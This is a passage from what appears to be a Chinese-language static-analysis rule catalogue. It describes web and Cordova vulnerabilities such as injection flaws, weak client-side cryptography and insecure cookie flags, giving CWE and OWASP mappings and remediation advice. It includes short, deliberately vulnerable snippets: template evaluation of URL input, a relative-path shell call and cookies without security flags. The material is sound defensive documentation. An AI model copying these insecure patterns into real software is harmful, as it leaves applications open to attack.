解释	攻击者可以直接访问系统的所有数据。攻击者可能会窃取系统存储型敏感信息，包括私人用户信息、信用卡信息、专有业务数据和任何其他秘密数据。同样，攻击者可能会修改或删除现有数据，甚至添加新的伪造数据。在某些情况下，甚至可以在数据库上执行代码。 除了直接披露或更改机密信息之外，此漏洞还会被用于实现二次效应，例如绕过身份验证、破坏安全检查或伪造数据跟踪。 还有一方面会进一步增加这个漏洞被利用的可能性，就是此缺陷很容易被攻击者发现，而且容易使用。 此漏洞虽然影响范围很大，但只会影响存储在客户端上的数据。 应用程序通过向数据库引擎提交文本 SQL 查询来存储和管理数据库中的数据。应用程序通过简单的字符串拼接创建查询，嵌入了不可信任的数据。但是，数据和代码之间没有分离；此外，既没有检查嵌入数据的数据类型有效性，随后也没有进行净化。这样，不可信任的数据可能会包含 SQL 命令，或者修改指定的查询。数据库会将被更改的查询和命令视为来自应用程序，然后执行它们。 如果攻击者能够影响插入原始查询的值的来源，攻击者就可以利用此漏洞。
建议	验证所有来源的所有不可信任的数据。验证应使用白名单：仅接受适合指定结构的数据，而不是排除不符合要求的模式。 特别是要检查： 数据类型 大小 范围 格式 预期值。 根据最小权限原则，限制对数据库对象和功能的访问。 不要使用动态拼接的字符串来构造 SQL 查询。 建议为所有数据访问使用 DB 存储过程，代替随机的动态查询。 不使用不安全的字符串拼接，而是使用安全数据库组件，例如参数化查询和对象绑定（用于命令和参数）。

返回目录

	另外还有一种更好的解决方案，就是使用 ORM 库为应用程序预定义和封装可以使用的命令，避免直接动态访问数据库。这样，代码层和数据层就会彼此分离。
CWE	CWE ID 89
OWASP2017	A1-Injection

返回目录

漏洞名称	**Client Untrusted Activex**
默认严重性	4
摘要	X（文件） 文件第 N 行 XXX（方法） 中的输入影响 Y（文件） 文件第 M 行中 YYY（方法） 中浏览器对象的创建。
解释	浏览器创建的不可信任的对象可能会使攻击者能够嵌入危险内容，从而可能攻击浏览器并影响主机系统，或在应用程序上下文中发起跨站点脚本 ((XSS) 攻击。 浏览器创建的一个对象；该对象可能是不安全的，因为它的来源是使用用户输入动态确定的，可能使攻击者可以确定该对象的来源。
建议	尽快淘汰 ActiveX - 由于 ActiveX 组件有广泛的权限，所以可能非常危险；此外，该技术被认为是过时的，因为 Microsoft 引入 Edge 浏览器后已放弃了对 ActiveX 的支持。 一定要静态地确定嵌入在网页中的对象源，以避免被根据用户输入动态确定的源注入恶意内容。
CWE	CWE ID 618
OWASP2017	A9-Using Components with Known Vulnerabilities

返回目录

漏洞名称	**Client Use Of Deprecated SQL Database**
默认严重性	3
摘要	应用程序在 Y（文件） 文件第 M 行的 YY（元素） 中使用 WebSQL。
解释	因为此数据库不再有维护，所以此数据库可能有漏洞，而且不会被修复。此外，如果 WebSQL 的支持在任何时间停止——应用程序就会被丢弃，无法在最新的浏览器上正常运行。 应用程序使用了 WebSQL；WebSQL 不再有维护，无论是规范还是开发商实现方面都不再维护。
建议	从 WebSQL 传输到支持的标准存储形式，例如 IndexedDB，或较简单的解决方案，例如 localStorage。
CWE	CWE ID 937
OWASP2017	A9-Using Components with Known Vulnerabilities

返回目录

漏洞名称	**Client Use Of Iframe Without Sandbox**
默认严重性	3
摘要	应用程序使用了一个 HTML iframe 但其内容未正确地放入沙盒
解释	嵌入一个内容来自远程源的 iframe 但未正确地使用沙盒会使 iframe 内容运行恶意脚本，导致跨站点脚本攻击 (XSS)，将嵌入页面重定向到恶意网站等。 从不可信任的远程源嵌入 iframe 通常是不利因素，使嵌入页面的安全依赖于可能不可靠的外部资源。如果 iframe 被用于显示第三方广告，这种情况会尤其普遍。如果这个资源因受到破坏而包含恶意内容，则可能对嵌入网页的安全及此资源造成负面影响；因此——要定义一个 iframe 沙盒功能以调用并限制 iframe 的诸多功能，从而限制外部嵌入内容的风险。 注意只要将沙盒特性添加到 iframe 元素即可启用沙盒；但是可以添加能绕过沙盒防御的标记（例如 allow-scripts）。这些标记可能会被滥用，使特定配置的 iframe 沙盒比没有沙盒的 iframe 更不安全（例如使用 allow-same-origin 指令）。
建议	检查在网页中包含远程内容的需求；尽量删除此类功能以减小攻击面 如果使用 iframes 显示远程内容——一定要使用沙盒将其限制为只能使用必要的功能 避免允许远程不可信任网站的脚本
CWE	CWE ID 829
OWASP2017	A6-Security Misconfiguration

返回目录

漏洞名称	**Client Use Of JQuery Deprecated Version**
默认严重性	4
摘要	Y（文件） 文件第 M 行中的 YYY（方法） 方法调用了一个过时的 API YY（元素）。这已经被弃用，不应再用于现代代码库。
解释	引用已弃用的模块可能会导致应用程序出现已公开报告且已修复的漏洞。一种常见的攻击技术就是扫描应用程序是否存在这些已知漏洞，然后通过这些已弃用的版本来操控该应用程序。但是，即使以完全安全的方式使用弃用的代码，但因为它存在于代码库中，这就会鼓励开发人员在将来再重用已弃用的元素，使应用程序容易受到攻击，而这就是要从代码库中删除已弃用代码的原因。 请注意，实际风险取决于旧版本中已知漏洞的具体情况。 应用程序引用了被声明已弃用的代码元素。这包括版本已过期或已被完全弃用的类、函数、方法、属性、模块或过时的库版本。可能在开发引用过时元素的代码时它还未被声明为过时，然后引用的代码进行了更新。
建议	一定要优选使用最新版本的库、组件和其他依赖项。 不要使用或引用任何已被声明为已弃用的类、方法、函数、属性或其他元素。
CWE	CWE ID 477
OWASP2017	None

返回目录

漏洞名称	**Client Weak Cryptographic Hash**
默认严重性	3
摘要	应用程序在 Y（文件） 文件第 M 行的 YY（元素） 中使用弱 hash。
解释	强烈建议不要使用客户端侧密码加密；所有加密都会完全暴露给 DOM，包括经过 hash 的 salt、加密实现等，使得任何可以访问 DOM 的人都能访问此信息——特别是如果所有客户端都有相同的重要的经过 hash 的 salt 参数时（如密钥）。 但是，如果确实需要在客户端上执行密码加密，建议使用强加密术；如果是弱 hash 和暴露的 salt（甚至完全没有），可以针对散列的数据暴力破解，使攻击者能够检索到其内容。 客户端代码中使用了弱 hash 方法。
建议	在客户端上而非在服务器上 hash 密码会导致身份验证使用 hash 本身而非密码；因为 hash 不是在服务器上完成的，这意味着 hash 后的密码和普通密码一样有效——使服务器容易受到 Pass-the-Hash 类型的攻击，即使用 hash 而非登录凭证进行身份验证也如此。进行身份验证时——避免在客户端上 hash。 尽量避免在客户端上使用密码加密： 密码加密应在服务器上完成 应通过正确且安全的 TLS 实现保证传输数据的保密性和完整性 切勿将敏感数据保存在浏览器中，即使已经加密 如果有需要，请使用安全的加密和处理方式： 使用密码加密的安全算法，例如 SHA512 派生 salt，而不要在多个 hash 实例之间重用相同的 salt
CWE	CWE ID 310
OWASP2017	A3-Sensitive Data Exposure

返回目录

漏洞名称	**Client Weak Encryption**
默认严重性	3
摘要	应用程序在 Y（文件） 文件第 M 行的 YY（元素） 中使用弱加密。
解释	强烈建议不要使用客户端侧密码加密；所有加密都会完全暴露给 DOM，包括加密密钥、加密实现等，使得任何可以访问 DOM 的人都能访问到此信息——特别是如果所有客户端都有相同的重要密码加密参数时（如密钥）。 但是，如果确实需要在客户端上执行密码加密，建议使用强加密术；如果是弱加密术，可以针对加密的数据暴力破解，使攻击者能够检索到其内容。 客户端代码中使用了弱加密方法。
建议	尽量避免在客户端上使用密码加密： 密码加密应在服务器上完成 应通过正确且安全的 TLS 实现保证传输数据的保密性和完整性 切勿将敏感数据保存在浏览器中，即使已经过加密 如果有需要，请使用安全的加密和处理方式： 使用密码加密的安全算法，例如 AES 如果不是在多个数据集之间重用加密密钥——使用安全的假随机数生成器生成这些密钥，或用户提供的密钥；切勿在代码中将密钥硬编码为字符串文本 在多个数据集之间重用加密密钥——确保密钥是唯一的，使用户永远不会共享密钥（除非明确有意如此），并安全地传输和保存
CWE	CWE ID 327
OWASP2017	A3-Sensitive Data Exposure

返回目录

漏洞名称	**Client Weak Password Authentication**
默认严重性	3
摘要	X（文件） 文件第 N 行的硬编码值 XX（元素） 在 Y（文件） 文件的 YY（元素） 中被用作密码
解释	硬编码的密码容易使应用程序泄露密码。在客户端代码中很容易即可看到源代码，所以攻击者能够窃取嵌入的密码。这包括伪装成应用程序的最终用户，或伪装成应用程序访问远程系统，如数据库或远程 Web 服务或 API。 攻击者成功伪装成用户或应用程序，攻击者就可以获得系统的全部访问权限，执行所伪装身份可以执行的任何操作。 应用程序代码库将字符串文本密码嵌入源代码。这个硬编码的值可能会在下游被用于通过异步请求验证远程系统（例如 API 或远程 web 服务）。 攻击者只需查看源代码即可发现硬编码的密码。
建议	不要依赖硬编码值作为密码 不要为了通过客户端代码进行身份验证而将密码发送到客户端代码 如果需要使用某些第三方 API 或 web 服务进行身份验证，请考虑以下选项： 使用服务器到服务器的方式，即用户可以触发到服务器的请求 让服务提供商提供更加可靠的授权方式，使用户在账户中能够执行特定操作，例如 Token；将这些 Token 发给用户，而不要使用账户密码，以避免滥用
CWE	CWE ID 798
OWASP2017	A2-Broken Authentication

返回目录

漏洞名称	**Client XPATH Injection**
默认严重性	4
摘要	应用程序的 YYY（方法） 方法构造了一个 XPath 查询，用于导航 XML 文档。XPath 查询是使用 Y（文件） 文件第 M 行的 YY（元素） 元素，通过在表达式中嵌入不可信任的字符串来创建的。 这可能使攻击者能够修改 XPath 表达式，从而导致“XPath 注入”攻击。 第三方攻击者可能在修改后的 URL 或其他受控输入中远程注入修改后的 XPath 表达式 XX（元素）。这被 X（文件） 文件第 N 行 XXX（方法） 方法中的脚本检索。然后该值经代码传递到 YY（元素），如上所述
解释	攻击者可以使用某个任意表达式修改 XPath 查询，则也将能对 XML 文档中的哪些节点可以被选择进行控制，从而控制应用程序处理哪些数据。根据 XML 文档的类型及其用途，这可能会导致各种后果，包括检索秘密信息、控制应用程序流、修改敏感数据、读取任意文件，或甚至绕过验证、假冒身份和提升权限。 应用程序通过使用文本 XPath 查询来查询 XML 文档。应用程序通过简单地连接字符串来创建查询，其中包括不可信任的数据，这可能被攻击者控制。因为既未检查外部数据是否是有效的数据类型，也未紧接着进行净化，因此数据可能是恶意伪造的，导致应用程序从 XML 文档中选择错误的信息。
建议	无论来源如何，一概验证所有所有外部数据。验证应基于白名单：仅接受符合指定结构的数据，而不是排除不符合要求的模式。检查以下项： 数据类型 大小 范围 格式 预期值 避免根据外部数据进行 XPath 查询。 如果确实需要在查询中包含不可信任的数据，则至少首先对数据进行适当验证或净化。 如果可行，建议将 XPath 查询映射到外部参数，以使数据和代码保持分离。
CWE	CWE ID 643
OWASP2017	A1-Injection

返回目录

漏洞名称	**Client-Side Template Injection**
默认严重性	5.0
摘要	调用 X（文件） 中第 N 行的 X（函数） 会将用户控制的数据作为模板引擎的模板进行评估，这使得攻击者能够访问模板上下文，并在某些情况下在浏览器中注入和运行恶意代码。用户控制的数据用作模板引擎的模板，使得攻击者能够访问模板上下文，并在某些情况下在浏览器中注入和运行恶意代码。

解释	模板引擎用于使用动态数据呈现内容。此上下文数据通常由用户控制并通过模板设置格式，以生成 Web 页面、电子邮件等。模板引擎可通过条件、循环等代码构造处理上下文数据，从而允许在模板中使用功能强大的语言表达式来呈现动态内容。如果攻击者能够控制要呈现的模板，他们将能够通过注入表达式来公开上下文数据并在浏览器中运行恶意代码。
	示例 1：以下示例显示了如何通过 URL 检索模板并使用模板在 AngularJS 中呈现信息。
	function MyController(function($stateParams, $interpolate){
	var ctx = { foo : 'bar' };
	var interpolated = $interpolate($stateParams.expression);
	this.rendered = interpolated(ctx);
	...
	}
	在这种情况下，$stateParams.expression 将采用可能受用户控制的数据，并将其作为用于指定上下文的模板进行计算。这又可能会允许恶意用户在浏览器中运行他们想要的代码、检索关于代码运行的上下文的信息、查找有关如何创建应用程序的额外信息，或将此代码转换为 full blown XSS 攻击。

建议	尽可能不要让用户提供模板。如果需要由用户提供模板，请谨慎执行输入验证，以防止在模板中注入恶意代码。 不要依赖在 AngularJS 1 中实施的沙盒来阻止漏洞。已经证明沙盒无法完全有效地在所有版本的 AngularJS 中防止 XSS 和应用程序控制，因为这并不是预期的安全功能，而且已从版本 1.6.[1] 中移除。
CWE	CWE ID 95
OWASP2017	A1 Injection

返回目录

漏洞名称	**Clipboard Information Leakage**
默认严重性	3
摘要	应用程序使用剪贴板作为 X（文件） 文件第 N 行 XX（元素） 的数据存储。
解释	剪贴板是一个共享环境，无需特殊权限即可被任意应用程序访问和修改。 使用剪贴板保存敏感数据或允许用户如此操作会使这些信息处于危险之中。 应用程序使用剪贴板作为敏感信息的数据存储。
建议	
CWE	CWE ID 200
OWASP2017	None

返回目录

漏洞名称	**Code Correctness:Negative Content-Length**
默认严重性	2.0
摘要	Content-Length 头文件设为负值。
解释	在大多数情况下，设置 Content-Length 请求标题表示开发者对发送给服务器的 POST 数据长度感兴趣。但是，此标题应为 0 或正整数。 示例 1：以下代码错误地将 Content-Length 头文件设置为负值： xhr.setRequestHeader("Content-Length", "-1000");
建议	请使用能正确计算和设置 Content-Length 头文件的 javascript 库。
CWE	CWE ID 398
OWASP2017	None

返回目录

漏洞名称	**Code Injection**
默认严重性	5
摘要	应用程序的 YYY（方法） 方法使用位于 Y（文件） 文件的第 M 行的 YY（元素） 元素接收并动态执行用户控制的代码。这使攻击者能够注入并运行任意代码。 攻击者可通过用户输入 XX（元素） 注入执行的代码 ，这会被应用程序在 X（文件） 文件第 N 行的 XXX（方法） 方法中检索到。
解释	攻击者可以在应用程序服务器的主机上运行任意代码。取决于操作系统赋予应用程序的权限，此类攻击可能包括： 访问数据库，例如读取或修改敏感数据； 文件操作（读取/创建/修改/删除）； 更改网址； 打开到攻击者服务器的网络连接； 使用应用程序的加密密钥来解密保密数据； 启动和停止系统服务； 完全接管服务器。 应用程序通过创建和运行包含不可信任数据的代码来执行某些操作，这可能受到某位恶意用户的控制。如果数据包含恶意代码，则执行的代码可能包含攻击者设计的系统级操作，效果就像攻击者直接在应用程序服务器上运行代码一样。
建议	应用程序不应编译、执行或评估来自任何外部源的任何不可信任的代码，其中包括用户输入、上传的文件或某数据库。 如果动态执行时，确实需要使用外部数据，可以将数据以参数形式传递给代码，但不要直接执行用户数据。 如果需要将不可信任的数据传递给动态执行，请使用非常严格的数据验证。例如，仅接受特定值之间的整数。 无论来源如何，一概验证所有输入。验证应基于白名单：仅接受符合指定结构的数据，而不是排除不符合要求的模式。参数应限制为允许的字符集，并且应丢弃未验证的输入。除字符外，检查以下项： 数据类型 大小 范围 格式 预期值 如果可行，尽量参照白名单中已知和可信任的输入，而不是与黑名单进行比较。 将应用程序的运行方式配置为使用受限用户帐户运行，此用户帐户无不必要的权限。

返回目录

	根据最小权限原则，如果可行，应独立出来所有的动态执行，以使用一个单独的专用用户帐户来运行，该帐户仅对特定操作和动态执行所涉及的文件有权限。 首选通过动态执行用户控制的代码将用户数据传递给预实现的脚本，例如另一个隔离的应用程序中。
CWE	CWE ID 94
OWASP2017	A1-Injection

返回目录

漏洞名称	**Command Injection**
默认严重性	3.0
摘要	X（文件） 中的 XXX（方法） 方法调用 X（函数） 来执行命令。通过这种调用，攻击者可能会向应用程序中注入恶意命令。执行包含无效用户输入的命令，会导致应用程序以攻击者的名义执行恶意命令。
解释	Command Injection 漏洞主要表现为以下两种形式： – 攻击者能够篡改程序执行的命令：攻击者直接控制了所执行的命令。 – 攻击者能够篡改命令的执行环境：攻击者间接地控制了所执行的命令。 在这种情况下，我们着重关注第二种情况，即攻击者有可能通过篡改一个环境变量或预先在搜索路径中输入可执行的恶意内容，进而更改命令所代表的原始含义。这种类型的 Command Injection 漏洞会在以下情况下出现： 1. 攻击者篡改某一应用程序的环境。 2. 应用程序在没有指明绝对路径，或者没有检验所执行的二进制代码的情况下就执行命令。 在这种情况下，命令经由 X（文件）的第 N 行的 YY（函数） 执行。 3. 通过命令的执行，应用程序会授予攻击者一种原本不该拥有的特权或能力。 示例：下面的代码来自一个 Web 应用程序，用户可通过该应用程序提供的界面在系统上更新他们的密码。在某些网络环境中更新密码时，其中的一个步骤就是在 /var/yp 目录中运行 make 命令。 ... require('child_process').exec("make", function(error, stdout, stderr){ ... }); ... 这里的问题在于，程序没有指定 make 的绝对路径，因此没能在执行 child_process.exec() 调用前清理其环境。如果攻击者能够篡改 $PATH 变量，使其指向一个名为 make 的恶意二进制代码，然后在指定环境中运行应用程序，那么应用程序就会加载该恶意二进制代码，并以此替代原本期望的代码。由于应用程序自身的特性，它需要特定的权限执行系统操作，这意味着攻击者会利用这些权限执行自己的 make，从而可能导致攻击者完全控制这个系统。
建议	攻击者可以通过修改程序运行命令的环境来间接控制这些命令的执行。我们不应当完全信赖环境，还需采取预防措施，防止攻击者利用某些控制环境的手段进行攻击。无论何时，只要有可能，都应由应用程序来控制命令，并使用绝对路径执行命令。如果编译时尚不了解路径（如在跨平台应用程序中），应该在执行过程中利用可信赖的值构

返回目录

	建一个绝对路径。应对照一系列定义有效值的常量，仔细地检查从配置文件或者环境中读取的命令值和路径。 有时还可以执行其他检验，以检查这些来源是否已被恶意篡改。例如，如果一个配置文件为可写，程序可能会拒绝运行。如果能够预先得知有关要执行的二进制代码的信息，程序就会进行检测，以检验这个二进制代码的合法性。如果一个二进制代码始终属于某个特定的用户，或者被指定了一组特定的访问权限，这些属性就会在执行二进制代码前通过程序进行检验。 最终，程序也许无法完全防范神通广大的攻击者控制其所执行的命令。因此，对输入值和环境可能执行的任何操作，都应努力鉴别并加以防范。这样做是为了尽可能地防范各种攻击。
CWE	CWE ID 77, CWE ID 78
OWASP2017	A1 Injection

返回目录

漏洞名称	**Cookie Poisoning**
默认严重性	4
摘要	应用程序在 Y（文件） 文件第 M 行的 YYY（方法） 方法中设置了一个 cookie YY（元素）；但是——为此 cookie 设置的值是通过 X（文件） 文件第 N 行 XXX（方法） 方法中的用户输入 XX（元素）控制的。
解释	如果外部恶意第三方可以控制其他用户的应用程序 cookie，他们就能以各种方式滥用它。这包括篡改应用程序数据、绕过访问控制检查、违反完整性约束或更改用户的首选项，例如购物车的内容。 此外，此缺陷也会导致其他种类的攻击，例如会话固定或跨站点脚本 (XSS) 攻击。 服务器代码通常会对 cookie 中的值做出大量假设，认为通常由它来设置这些 cookie。但是——如果外部恶意第三方可以控制其他用户的应用程序 cookie，他们就能以各种方式滥用它。这包括篡改应用程序数据、绕过访问控制检查、违反完整性约束或更改用户的首选项，例如购物车的内容。 此外，此缺陷也会导致其他种类的攻击，例如会话固定或跨站点脚本 (XSS) 攻击。
建议	不要根据用户提供的输入设置 cookies。 如果需要此类行为，请考虑提供限制或用户可提供选项的白名单
CWE	CWE ID 472
OWASP2017	None

返回目录

漏洞名称	**Cookie Security:Cookie not Sent Over SSL**
默认严重性	3.0
摘要	创建了 cookie，但未将 Secure 标记设置为 true。
解释	现今的 Web 浏览器支持每个 cookie 的 Secure 标记。如果设置了该标记，那么浏览器只会通过 HTTPS 发送 cookie。通过未加密的通道发送 cookie 将使其受到网络截取攻击，因此安全标记有助于保护 cookie 值的保密性。如果 cookie 包含私人数据或带有会话标识符，那么该标记尤其重要。 在这种情况下，将在 X（文件） 的第 N 行中创建 cookie，但不会将 Secure 属性设置为 true。 示例 1：在下面的示例中，在未将 Secure 属性设置为 true 的情况下，为响应添加了一个 Cookie。 res.cookie('important_cookie', info, {domain: 'secure.example.com', path: '/admin', httpOnly: true}); 如果应用程序同时使用 HTTPS 和 HTTP，但没有设置 Secure 标记，那么在 HTTPS 请求过程中发送的 cookie 也会在随后的 HTTP 请求过程中被发送。通过未加密的无线连接截取网络信息流对攻击者而言十分简单，因此通过 HTTP 发送 cookie（特别是具有会话 ID 的 cookie）可能会危及应用程序安全。
建议	对所有新 cookie 设置 Secure 标记，指示浏览器不要以明文形式发送这些 cookie。 示例 2： res.cookie('important_cookie', info, {domain: 'secure.example.com', path: '/admin', httpOnly: true, secure: true});
CWE	CWE ID 614
OWASP2017	A3 Sensitive Data Exposure

返回目录

漏洞名称	**Cookie Security:HTTPOnly not Set**
默认严重性	2.0
摘要	程序在 X（文件） 中第 N 行上创建了 cookie，但未能将 HttpOnly 标记设置为 true。程序创建了 cookie，但未能将 HttpOnly 标记设置为 true。
解释	所有主要浏览器均支持 HttpOnly Cookie 属性，可阻止客户端脚本访问 Cookie。Cross-Site Scripting 攻击通常会访问 Cookie，以试图窃取会话标识符或身份验证令牌。如果未启用 HttpOnly，攻击者就能更容易地访问用户 Cookie。 在这种情况下，将在 X（文件）的第 N 行中设置 Cookie，但不会设置 HttpOnly 参数，或将其设置为 false。 示例 1：以下代码会在未设置 httpOnly 属性的情况下创建一个 Cookie。 res.cookie('important_cookie', info, {domain: 'secure.example.com', path: '/admin'});
建议	在创建 Cookie 时启用 HttpOnly 属性。 示例 2：以下代码创建的 Cookie 与 Example 1 中的代码相同，但这次会将 httpOnly 属性设置为 true。 res.cookie('important_cookie', info, {domain: 'secure.example.com', path: '/admin', httpOnly: true}); 已开发出了多种绕过将 HttpOnly 设置为 true 的机制，因此它并非完全有效。
CWE	CWE ID 1004
OWASP2017	A3 Sensitive Data Exposure

返回目录

漏洞名称	**Cookie Security:Overly Broad Domain**
默认严重性	3.0
摘要	域范围过大的 Cookie 为攻击者利用其他应用程序攻击某个应用程序创造了条件。
解释	开发人员通常将 Cookie 设置为在类似“.example.com”的基本域中处于活动状态。这会使 Cookie 暴露在基本域和任何子域中的所有 Web 应用程序下。由于 Cookie 通常包含敏感信息（如会话标识符），因此在应用程序之间共享 Cookie 可能会导致其中一个应用程序的漏洞危及其他应用程序安全。 示例 1: 假设您有一个安全应用程序并将其部署在 http://secure.example.com/ 上，当用户登录时，该应用程序将使用域“.example.com”设置会话 ID cookie。 例如: cookie_options = {}; cookie_options.domain = '.example.com'; ... res.cookie('important_cookie', info, cookie_options); 假设您在 http://insecure.example.com/ 上有另一个不太安全的应用程序，它包含 cross-site scripting 漏洞。任何浏览到 http://insecure.example.com 的 http://secure.example.com 认证用户面临着暴露来自 http://secure.example.com 的会话 cookie 的风险。除了读取 cookie 外，攻击者还可能使用 insecure.example.com 进行 cookie poisoning 攻击，创建自己范围过大的 cookie，并覆盖来自 secure.example.com 的 cookie。

建议	将 cookie 域设置为具有尽可能高的限制性。
	示例 2: 以下代码显示了如何将 Example 1 示例中的 Cookie 域设置为“secure.example.com”。
	cookie_options = {};
	cookie_options.domain = 'secure.example.com';
	...
	res.cookie('important_cookie', info, cookie_options);
	示例 3: 对于 AngularJS 应用程序，可通过配置 ngCookies 提供程序在整个模块中设置它。
	myModule.config(['$cookiesProvider', function($cookiesProvider){
	myDefaults = {};
	myDefaults.domain = 'secure.example.com';
	...
	$cookiesProvider.defaults = myDefaults;
	}]);

CWE	None

返回目录

OWASP2017	A3 Sensitive Data Exposure

返回目录

漏洞名称	**Cookie Security:Overly Broad Path**
默认严重性	3.0
摘要	可通过相同域中的其他应用程序访问路径范围过大的 cookie。
解释	开发人员通常将 Cookie 设置为可从根上下文路径“/”进行访问。这会使 Cookie 暴露在该域的所有 Web 应用程序下。由于 Cookie 通常包含敏感信息（如会话标识符），因此在应用程序之间共享 Cookie 可能会导致其中一个应用程序的漏洞危及其他应用程序安全。 示例 1： 假设您有一个论坛应用程序并将其部署在 http://communitypages.example.com/MyForum 上，当用户登录该论坛时，该应用程序将使用路径“/”设置会话 ID cookie。 例如： cookie_options = {}; cookie_options.path = '/'; ... res.cookie('important_cookie', info, cookie_options); 假设攻击者在 http://communitypages.example.com/EvilSite 上创建了另一个应用程序，并在论坛上发布了该站点的链接。当论坛用户点击该链接时，浏览器会将 /MyForum 设置的 Cookie 发送到在 /EvilSite 上运行的应用程序。通过这种方式窃取会话 ID 后，攻击者就能够危及浏览到 /EvilSite 的任何论坛用户的帐户安全。 除了读取 cookie 外，攻击者还可能使用 /EvilSite 进行 cookie poisoning 攻击，创建自己范围过大的 cookie，并覆盖来自 /MyForum 的 cookie。

建议	确保将 cookie 路径设置为具有尽可能高的限制性。
	示例 2：以下代码显示了如何将 Example 1 示例中的 Cookie 路径设置为“/MyForum”。
	cookie_options = {};
	cookie_options.path = '/MyForum';
	...
	res.cookie('important_cookie', info, cookie_options);
	示例 3：对于 AngularJS 应用程序，可通过配置 ngCookies 提供程序在整个模块中设置它。
	myModule.config(['$cookiesProvider', function($cookiesProvider){
	myDefaults = {};
	myDefaults.path = '/MyForum';
	...
	$cookiesProvider.defaults = myDefaults;
	}]);

CWE	None

返回目录

OWASP2017	A3 Sensitive Data Exposure

返回目录

漏洞名称	**Cordova Code Injection**
默认严重性	4
摘要	应用程序的 YYY（方法） 使用 Y（文件） 文件第 M 行的 YY（元素） 在生成的输出中嵌入了不可信任的数据。不可信任的数据直接嵌入输出，没有经过适当的净化或编码，这使攻击者能够将恶意代码注入输出。 攻击者可通过外部输入 XX（元素） 将恶意负载注入受害者的浏览器。这会被浏览器通过 X（文件） 文件第 N 行的 XXX（方法） 方法读取。然后浏览器会自己执行此代码。
解释	成功的 XSS 攻击将使攻击者能够重写网页并插入可能改变预期输出的恶意脚本。这包括 HTML 片段、CSS 样式规则、任意 JavaScript 或对第三方代码的引用。攻击者可以用此来窃取用户的密码、收集个人数据（如信用卡信息）、提供虚假信息或运行恶意软件。从受害者的角度来看，这是真正的网站做的，受害者会认为其遭受的损失应由网站负责。 与反射或存储型 XSS 不同，DOM XSS 的另一个风险是，受污染的值不必通过服务器。因为服务器不参与这些输入的净化，所以服务器端验证可能不会意识到 XSS 攻击已经发生，并且任何服务器端安全解决方案（如 WAF）在解决 DOM XSS 问题时可能都无效。 攻击者可使用社交工程技术（错误格式的链接或其他方式）说服受害者使用攻击者的代码。这将使攻击者能够控制用户使用 Web 应用程序的体验、劫持浏览器以更改显示的网页、加载网络钓鱼攻击以及执行任意脚本。 应用程序使用不可信任的数据（来自用户输入、应用程序的数据库或其他外部源）创建网页。不可信任的数据被直接嵌入页面的 HTML 中，使浏览器将其显示为网页的一部分。如果输入中包含 HTML 片段或 JavaScript，那么也会显示这些片段，用户也无法分辨这是不是预期的页面。该漏洞是直接嵌入任意数据、未先以可以避免浏览器将用户输入视为 HTML 或代码（而应视为纯文本）的格式进行编码的结果。 发生 DOM XSS 时，是客户端代码自己操纵本地 Web 页面的 DOM 并引入恶意内容。 在这种情况下，浏览器会读取不可信任的代码，并在客户端执行。
建议	完全编码所有来源的所有动态数据，然后再将其嵌入输出。 编码应该是上下文敏感的。例如： 用于 HTML 内容的 HTML 编码。 用于输出数据到特性值的 HTML 特性编码 用于服务器生成的 JavaScript 的 JavaScript 编码 建议使用平台提供的编码功能或已知的安全库来编码输出。 为应用程序的来源实施内容安全策略 (CSP) 和显式白名单。

返回目录

	为进一步提供保护，可验证所有来源的所有不可信任的数据（注意这不能代替编码）。验证应使用白名单：仅接受适合指定结构的数据，而不是排除不符合要求的模式。检查： 数据类型 大小 范围 格式 预期值 在 Content-Type HTTP 响应头中，明确定义整个页面的字符编码（字符集）。 在会话 cookie 上为“深度防御”设置 HTTPOnly 标记，以防止任何成功的 XSS 漏洞窃取 cookie。 在客户端，不要使用任何形式的动态代码评估不可信任的数据。只有硬编码命令可以使用动态评估。
CWE	CWE ID 94
OWASP2017	None

返回目录

漏洞名称	**Cordova File Disclosure**
默认严重性	4
摘要	通过 X（文件） 文件第 N 行中的 XXX（方法） 获取的输入被用于确定 Y（文件） 文件第 M 行中 YYY（方法） 方法要读取的文件，这可能会泄漏该文件的内容。
解释	如果攻击者可以公开攻击者选择的任意文件，攻击者就可能公开包含用户或系统凭证、个人或财务信息的敏感文件，以及服务器上的其他敏感文件。攻击者还可能会公开应用程序源代码以进一步分析，从而研究、改进和升级攻击者对应用程序的攻击。 如果攻击者可以通过提供输入确定要读取的文件，而且这些输入未针对文件系统元字符（例如斜杠）进行净化，攻击者就可能选择读取预期范围外的任意文件，从而泄露这些文件的内容。
建议	考虑使用静态解决方案来读取文件，例如使用允许读取的文件列表，或者使用其他文件存储解决方案（如数据库） 如果确实需要从磁盘读取本地文件，一定要保证从特定的文件夹中读取文件，并限制代码只能访问此文件夹 用户提供要读取的文件名时，要避免用户操纵路径访问意外目录，方法是净化文件名中的文件系统元字符，例如： Slashes (/,\) Dot (.) Tilde (~)
CWE	CWE ID 538
OWASP2017	None

返回目录

漏洞名称	**Cordova File Manipulation**
默认严重性	4
摘要	通过 X（文件） 文件第 N 行中的 XXX（方法） 获取的输入被 Y（文件） 文件第 M 行中 YYY（方法） 用于确定要写入的文件位置，这可能会使攻击者能够更改或损坏文件的内容，或创建全新的文件。
解释	如果攻击者可以影响攻击者选择的任意文件，攻击者就可能覆写或损坏敏感文件，从而可能导致拒绝服务攻击。如果攻击者还能选择要写入的内容，攻击者就可能将代码注入任意文件，从而可能导致执行恶意代码。 用户提供的输入被用于确定要写入哪个文件，这可能会使用户能够影响或操纵任意文件的内容。
建议	考虑为要写入的文件使用静态解决方案，例如经过验证的可写的文件列表，或者使用其他文件存储解决方案，如数据库。如果确实有需要，可通过正确地净化用户提供的输入来设置文件名以将写入目标限制为单个文件夹，并在程序中设置目标文件夹。可考虑根据应用程序代码的业务需求增加一种检查来验证文件是否存在。
CWE	CWE ID 552
OWASP2017	None

返回目录

漏洞名称	**Cordova Insufficient Domain Whitelist**
默认严重性	3
摘要	配置 Y（文件） 文件第 M 行上的 YY（元素） 标记显式允许应用程序在任意域暴露。
